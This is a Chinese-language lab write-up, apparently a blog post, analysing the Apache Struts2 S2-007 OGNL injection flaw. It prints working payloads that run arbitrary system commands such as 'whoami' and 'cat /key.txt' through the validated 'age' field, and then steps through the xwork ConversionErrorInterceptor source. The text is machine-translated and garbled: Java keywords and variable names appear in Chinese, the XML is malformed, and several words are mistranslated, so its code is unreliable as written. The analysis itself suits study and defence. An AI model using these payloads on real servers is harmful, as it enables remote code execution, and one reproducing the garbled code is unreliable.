前言
继上回S2-001之后,继续分析了S2-007,若有疏漏,还望多多指教。
进攻环境根据vulhub中的环境修改而来https://github.com/vulhub/vulhub/tree/master/struts2/s2-007
这回的S2-007和上回的S2-001中断环境地址https://github.com/kingkaki/Struts2-Vulenv
有学者的师傅可以一起分析下
进攻信息
官方漏洞信息页面:https ://cwiki.apache.org/confluence/display/WW/S2-007
形成原因:
发生转换错误时,将用户输入评估为OGNL表达式。这允许恶意用户执行任意代码。
当配置了验证规则,类型转换出错时,进行了错误的字符串拆分,靴子造成了OGNL语句的执行。
进攻利用
这里我配置了一个UserAction-validation.xml
验证表单
<?xml version =“ 1.0” encoding =“ UTF-8”?>
<!DOCTYPE验证程序PUBLIC
“-// OpenSymphony Group // XWork Validator 1.0 // EN”
“ http://www.opensymphony.com/xwork/ xwork-validator-1.0.2.dtd“>
<validators>
<字段 名称= “年龄” >
<field-validator 类型= “ int” >
<param 名称= “ min” > 1 </ param>
<param name = ” max“ > 150 </ param>
</ field-validator>
</ field>
</ validators>
限制了age的值只能为int
,而且长度在1-150之间
然后在登录界面用户名和邮箱值随意,age部分替换我们的payload
'+(#application)+'
在age的值部分,成功有了回显
命令执行
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '
修改whoami
部分就可以执行任意命令
比如 打开根目录下的 key.txt文件:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /key.txt').getInputStream())) + '
进攻分析
进攻主要发生在S2-007/web/WEB-INF/lib/xwork-core-2.2.3.jar!/com/opensymphony/xwork2/interceptor/ConversionErrorInterceptor.class:28
公共 字符串 拦截(ActionInvocation 调用) 引发 异常 {
ActionContext invocationContext = 调用。getInvocationContext ();
映射< String , Object > conversionErrors = invocationContext 。getConversionErrors ();
ValueStack stack = invocationContext 。getValueStack ();
HashMap < 对象, 对象> fakie = 空;
迭代器 i $ = conversionErrors 。entrySet ()。迭代器();
而(I $ 。hasNext ()) {
条目< 字符串, 对象> 条目 = (条目)I $ 。next ();
字符串 propertyName = (字符串)条目。getKey ();
对象 值 = 条目。getValue ();
如果 (此。shouldAddError (propertyName的, 值)) {
字符串 消息 = XWorkConverter 。getConversionErrorMessage (propertyName , stack );
对象 操作 = 调用。getAction ();
if (ValidationAware的动作 实例 ){ ValidationAware va = (ValidationAware )的动作; va 。addFieldError (propertyName ,message ); }
如果 (fakie == null ) {
fakie = new HashMap ();
}
飞骑。放(propertyName的, 此。getOverrideExpr (调用, 值));
}
}
if (fakie != null ) {
堆栈。getContext ()。put (“ original.property.override” , fakie );
调用。addPreResultListener (新 PreResultListener () {
公共 空隙 beforeResult (ActionInvocation 调用, 字符串 发送resultCode ) {
地图< 对象, 对象> 飞骑 = (地图)调用。getInvocationContext ()。get (“ original.property.override” );
如果 (fakie != null ) {
调用。getStack ()。setExprOverrides (fakie );